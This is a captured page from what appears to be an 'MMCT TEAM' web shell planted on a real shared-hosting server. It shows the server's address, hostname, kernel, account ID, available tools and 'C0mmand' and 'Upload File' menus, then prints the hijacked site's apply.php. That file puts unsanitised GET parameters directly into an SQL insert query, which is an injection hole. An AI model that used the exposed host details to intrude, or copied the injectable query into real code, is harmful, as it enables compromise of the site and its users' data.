MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 3.17.191.196
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u200767797/domains/socon.in/../gurukuljobs.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u200767797/domains/socon.in/../gurukuljobs.in/public_html/apply.php
<?php
session_start();
include("connection.php");
date_default_timezone_set('Asia/Kolkata'); 
$currentDate = date('d-M-Y');
$currentTime = date('H:i:s');

if(isset($_SESSION['user_id'])){
    
    $name = $_SESSION['uname'];
    $uid = $_SESSION['user_id'];
    $jid = $_GET['jid'];
    $eid = $_GET['eid'];
    
    
    $query = "insert into applied_jobs(`employer_id`, `job_id`, `user_id`, `date`, `time`) VALUES ('".$eid."','".$jid."','".$uid."','".$currentDate."','".$currentTime."')";
            $s = mysqli_query($con,$query);
            


            
            if($s){
                echo "<script>
alert('Applied Successfully.');
window.location.href='index.php';
</script>";
            }else
            {
                echo "<script>
alert('Error.');
window.history.back();
</script>";
            }
    
}else{
    echo "<script>
alert('Please login to continue.');
window.history.back();
</script>";
}
?>

MMCT - 2023